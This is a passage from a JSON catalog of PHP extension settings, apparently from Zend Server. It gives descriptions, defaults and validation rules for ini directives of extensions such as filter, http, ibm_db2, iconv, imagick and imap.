                    "maxValue": null,
                    "regex": "\/^[0-9]+[K|M|G]?$\/i",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "max_file_uploads": {
                "shortDescription": "Maximum number of files that can be uploaded via a single request",
                "type": 5,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "20"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "\/^[0-9]+[K|M|G]?$\/i",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "filter": {
        "name": "filter",
        "extensionId": "filter",
        "isDaemon": 0,
        "shortDescription": "Input Filtering and Validation Functions",
        "longDescription": "Serves to validate and filter data coming from some insecure source, such as user inputs.",
        "iniFileName": "filter.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "filter.default": {
                "shortDescription": "Filter all $_GET, $_POST, $_COOKIE and $_REQUEST data by this filter",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "filter.default_flags": {
                "shortDescription": "Default flags",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "ftp": {
        "name": "ftp",
        "extensionId": "ftp",
        "isDaemon": 0,
        "shortDescription": "File Transfer Protocol(FTP) Access",
        "longDescription": "The functions in this extension implement client access to FTP file servers. This extension is meant for detailed access to an FTP server providing a wide range of control to the executing script.",
        "iniFileName": "ftp.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "gd": {
        "name": "gd",
        "extensionId": "gd",
        "isDaemon": 0,
        "shortDescription": "GD Image Manipulation",
        "longDescription": "With the GD library of image functions PHP can be used to create and manipulate image files in a variety of different image formats, including gif, png, jpg, wbmp, and xpm. Even more conveniently, PHP can output image streams directly to a browser.",
        "iniFileName": "gd.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "gd.jpeg_ignore_warning": {
                "shortDescription": "Ignore warnings created by jpeg2wbmp() and imagecreatefromjpeg()",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "gettext": {
        "name": "gettext",
        "extensionId": "gettext",
        "isDaemon": 0,
        "shortDescription": "Internationalization Functions",
        "longDescription": "The gettext functions implement an NLS (Native Language Support) API which can be used to internationalize your PHP applications.",
        "iniFileName": "gettext.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "gmp": {
        "name": "gmp",
        "extensionId": "gmp",
        "isDaemon": 0,
        "shortDescription": "GNU MP Library Arbitrary Length Integers",
        "longDescription": "These functions allow you to work with arbitrary-length integers using the GNU MP library.\nNote:\nGMP libraries must be installed in order for this extension to function.",
        "iniFileName": "gmp.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "hash": {
        "name": "hash",
        "extensionId": "hash",
        "isDaemon": 0,
        "shortDescription": "Arbitrary Length Messages Processing",
        "longDescription": "Allows direct or incremental processing of arbitrary-length messages using a variety of hashing algorithms.",
        "iniFileName": "hash.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": []
    },
    "http": {
        "name": "http",
        "extensionId": "http",
        "isDaemon": 0,
        "shortDescription": "This HTTP extension aims to provide a convenient and powerful set of functionality for one of PHPs major applications",
        "longDescription": "",
        "iniFileName": "http.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "http.etag.mode": {
                "shortDescription": "The hashing algorithm used to generate the ETag",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "MD5"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.log.cache": {
                "shortDescription": "The path (or stream wrapper url) to a log file in which to write successful cache hits.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.log.redirect": {
                "shortDescription": "The path (or stream wrapper url) to a log file in which to write redirects.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.log.not_found": {
                "shortDescription": "The path (or stream wrapper url) to a log file in which to write \"file not found\" errors.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.log.allowed_methods": {
                "shortDescription": "The path (or stream wrapper url) to a log file in which to write \"allowed methods\" violations.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.log.composite": {
                "shortDescription": "The path (or stream wrapper url) to a log file in which to write all events.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.request.methods.allowed": {
                "shortDescription": "Allowed request methods.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.request.methods.custom": {
                "shortDescription": "Custom request methods.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.request.datashare.cookie": {
                "shortDescription": "Whether the global HttpRequestDataShare should by default share cookie information.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.request.datashare.dns": {
                "shortDescription": "Whether the global HttpRequestDataShare should by default share name lookup information.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.request.datashare.ssl": {
                "shortDescription": "Whether the global HttpRequestDataShare should by default share SSL session information.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.request.datashare.connect": {
                "shortDescription": "Whether the global HttpRequestDataShare should by default share connect information.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.persistent.handles.limit": {
                "shortDescription": "The maximum amount of persistent handles to keep alive.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "-1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.persistent.handles.ident": {
                "shortDescription": "The ident of persistent handles. ",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "GLOBAL"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.send.inflate.start_auto": {
                "shortDescription": "Whether to automatically start the inflate output handler.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.send.inflate.start_flags": {
                "shortDescription": "Initialization settings for the inflate output handler.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.send.deflate.start_auto": {
                "shortDescription": "Whether to automatically start the deflate output handler.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.send.deflate.start_flags": {
                "shortDescription": "Initialization settings for the deflate output handler.",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.send.not_found_404": {
                "shortDescription": "Whether to automatically exit with a status of \"404 Not found\", if http_send_file() was not able to find the specified file.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.only_exceptions": {
                "shortDescription": "Whether all notices\/warnings\/errors should be thrown as exceptions.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "http.force_exit": {
                "shortDescription": "Each occasion where \"exits with a status of...\" is mentioned, usually causes the halt of the scripting engine. Disable this option if you alternatively want to start a discarding (dev\/null) output handler and continue script execution.",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "Easycom": {
        "name": "Easycom",
        "extensionId": "i5comm",
        "isDaemon": 0,
        "shortDescription": "PHP toolkit for IBM i",
        "longDescription": "Provides access to all IBM i system resources such as RPG\/COBOL\/CL programs, CL commands, Database files\/tables, Spooled file, Data Queue, User Space, Jobs and Jobs logs.",
        "iniFileName": "php.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "i5comm.default_user": {
                "shortDescription": "The default user name to use when connecting to IBM i server without specifying server address, user and password in the connection function",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "QTMHHTTP"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "i5comm.port": {
                "shortDescription": "Default TCP port number to use when connecting to IBM i server ",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "6079"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "ibm_db2": {
        "name": "ibm_db2",
        "extensionId": "ibm_db2",
        "isDaemon": 0,
        "shortDescription": "IBM DB2 DB Access",
        "longDescription": "These functions enable you to access the IBM DB2 Universal Database, IBM Cloudscape, and Apache Derby databases using the DB2 Call Level Interface (DB2 CLI).",
        "iniFileName": "ibm_db2.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "ibm_db2.binmode": {
                "shortDescription": "This option controls the mode used for converting to and from binary data in the PHP application.",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:3:{i:1;s:10:\"DB2_BINARY\";i:2;s:11:\"DB2_CONVERT\";i:3;s:12:\"DB2_PASSTHRU\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibm_db2.i5_allow_commit": {
                "shortDescription": "This option controls the commit mode used for i5 schema collections in the PHP application.",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:5:{i:0;s:57:\"0 - DB2_I5_TXN_NO_COMMIT - Commitment control is not used\";i:1;s:45:\"1 - DB2_I5_TXN_READ_UNCOMMITTED - Dirty reads\";i:2;s:60:\"2 - DB2_I5_TXN_READ_COMMITTED - Dirty reads are not possible\";i:3;s:86:\"3 - DB2_I5_TXN_REPEATABLE_READ - Dirty reads and non-repeatable reads are not possible\";i:4;s:94:\"4 - DB2_I5_TXN_SERIALIZABLE - Dirty reads, non-repeatable reads, and phantoms are not possible\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibm_db2.i5_dbcs_alloc": {
                "shortDescription": "This option controls the internal ibm_db2 allocation scheme for large DBCS column buffers.",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:2:{i:0;s:23:\"0 - default allocations\";i:1;s:39:\"1 - expanded allocations for conversion\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibm_db2.instance_name": {
                "shortDescription": "On Linux and UNIX operating systems, this option defines the name of the instance to use for cataloged database connections.",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibm_db2.i5_all_pconnect": {
                "shortDescription": "This option overrides i5 db2_connect full open and close in the PHP application, all db2 connections become persistent.",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:2:{i:0;s:30:\"0 - default script db2_connect\";i:1;s:40:\"1 - override db2_connect to db2_pconnect\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibm_db2.i5_ignore_userid": {
                "shortDescription": "This option overrides i5 db2_(p)connect userid and password in the PHP application",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:2:{i:0;s:37:\"0 - normal user\/pwd using QSQSRVR job\";i:1;s:56:\"1 - force ignore user\/pwd, when possible, no QSQSRVR job\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibm_db2.i5_job_sort": {
                "shortDescription": "This option turns DB2 UDB CLI job sort mode on\/off",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:2:{i:0;s:21:\"0 - normal sort order\";i:1;s:22:\"1 - profile sort order\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibm_db2.i5_blank_userid": {
                "shortDescription": "Allow blank userid\/password",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:2:{i:0;s:40:\"0 - normal no blank user\/pwd db2 connect\";i:1;s:36:\"1 - allow blank user\/pwd db2 connect\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibm_db2.i5_char_trim": {
                "shortDescription": "Allow char trim",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "1"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:2:{i:0;s:16:\"0 - no char trim\";i:1;s:18:\"1 - with char trim\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibm_db2.i5_db400_ptf": {
                "shortDescription": "workaround attribute conversion",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibm_db2.i5_log_verbose": {
                "shortDescription": "DB2 error log verbose",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:2:{i:0;s:26:\"0 - normal php.log message\";i:1;s:29:\"1 - expanded php.log messages\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibm_db2.i5_override_ccsid": {
                "shortDescription": "force PASE CCSID (utf-8 1208)",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibm_db2.i5_sys_naming": {
                "shortDescription": "System naming mode",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:2:{i:0;s:28:\"0 - sql naming, schema.table\";i:1;s:27:\"1 - system naming, lib\/file\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibm_db2.i5_check_pconnect": {
                "shortDescription": "Advanced db2_pconnect monitor",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:5:{i:0;s:45:\"0 - normal no-check db2 persistent connection\";i:1;s:47:\"1 - try conn get an attribute (check attribute)\";i:2;s:39:\"2 - try conn get info (check meta data)\";i:3;s:20:\"3 - create stmt test\";i:4;s:19:\"4 - exec\/fetch test\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibm_db2.i5_guard_profile": {
                "shortDescription": "Guard profile",
                "type": 3,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": "a:2:{i:0;s:40:\"0 - normal no monitor use db2 connection\";i:1;s:46:\"1 - before use, assure connect profile correct\";}",
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibm_db2.i5_max_pconnect": {
                "shortDescription": "Max use count db2_pconnect to recycle",
                "type": 4,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "ibm_db2.i5_servermode_subsystem": {
                "shortDescription": "start server mode jobs to subsystem",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "iconv": {
        "name": "iconv",
        "extensionId": "iconv",
        "isDaemon": 0,
        "shortDescription": "Character Set Conversion",
        "longDescription": "This module contains an interface to the iconv character set conversion program. With this module, you can turn a string represented by a local character set into one represented by another character set, which may be the Unicode character set.",
        "iniFileName": "iconv.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "iconv.input_encoding": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "iconv.internal_encoding": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "iconv.output_encoding": {
                "shortDescription": "",
                "type": 1,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": ""
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "imagick": {
        "name": "imagick",
        "extensionId": "imagick",
        "isDaemon": 0,
        "shortDescription": "ImageMagick Image Manipulation API",
        "longDescription": "Imagick is a native PHP extension to create and modify images using the ImageMagick API",
        "iniFileName": "imagick.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "imagick.locale_fix": {
                "shortDescription": "",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "imagick.progress_monitor": {
                "shortDescription": "",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            },
            "imagick.skip_version_check": {
                "shortDescription": "Version check",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "imap": {
        "name": "imap",
        "extensionId": "imap",
        "isDaemon": 0,
        "shortDescription": "IMAP, POP3 and NNTP",
        "longDescription": "Provides mail and news access through the IMAP, POP3 and NNTP protocols.",
        "iniFileName": "imap.ini",
        "subPath": "",
        "zemExtension": false,
        "directives": {
            "imap.enable_insecure_rsh": {
                "shortDescription": "Establishing a connection to a server may invoke rsh or ssh commands, unless this option is disabled",
                "type": 2,
                "section": "",
                "visibility": "0",
                "defaultValues": [
                    {
                        "fixed": "0"
                    }
                ],
                "units": "",
                "validation": {
                    "minValue": null,
                    "maxValue": null,
                    "regex": "",
                    "listValues": [],
                    "html": false,
                    "email": false,
                    "uri": false,
                    "defaultServer": false,
                    "allowempty": true,
                    "host": false
                },
                "requiresRestart": 1
            }
        }
    },
    "informix": {
        "name": "informix",
        "extensionId": "informix",
        "isDaemon": 0,
        "shortDescription": "Informix",
